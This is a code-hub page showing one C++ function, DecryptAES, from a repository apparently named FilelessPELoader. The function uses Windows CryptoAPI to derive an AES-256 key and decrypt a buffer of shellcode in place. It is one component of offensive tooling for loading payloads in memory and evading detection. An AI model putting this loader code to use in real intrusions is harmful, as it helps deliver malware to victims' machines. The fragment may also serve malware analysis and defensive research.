MCPcopy Create free account
hub / github.com/SaadAhla/FilelessPELoader / DecryptAES

Function DecryptAES

FilelessPELoader/FilelessPELoader.cpp:61–92  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

59
60
61void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
62 HCRYPTPROV hProv;
63 HCRYPTHASH hHash;
64 HCRYPTKEY hKey;
65
66 if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
67 printf("Failed in CryptAcquireContextW (%u)\n", GetLastError());
68 return;
69 }
70 if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
71 printf("Failed in CryptCreateHash (%u)\n", GetLastError());
72 return;
73 }
74 if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
75 printf("Failed in CryptHashData (%u)\n", GetLastError());
76 return;
77 }
78 if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
79 printf("Failed in CryptDeriveKey (%u)\n", GetLastError());
80 return;
81 }
82
83 if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
84 printf("Failed in CryptDecrypt (%u)\n", GetLastError());
85 return;
86 }
87
88 CryptReleaseContext(hProv, 0);
89 CryptDestroyHash(hHash);
90 CryptDestroyKey(hKey);
91
92}
93
94
95DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected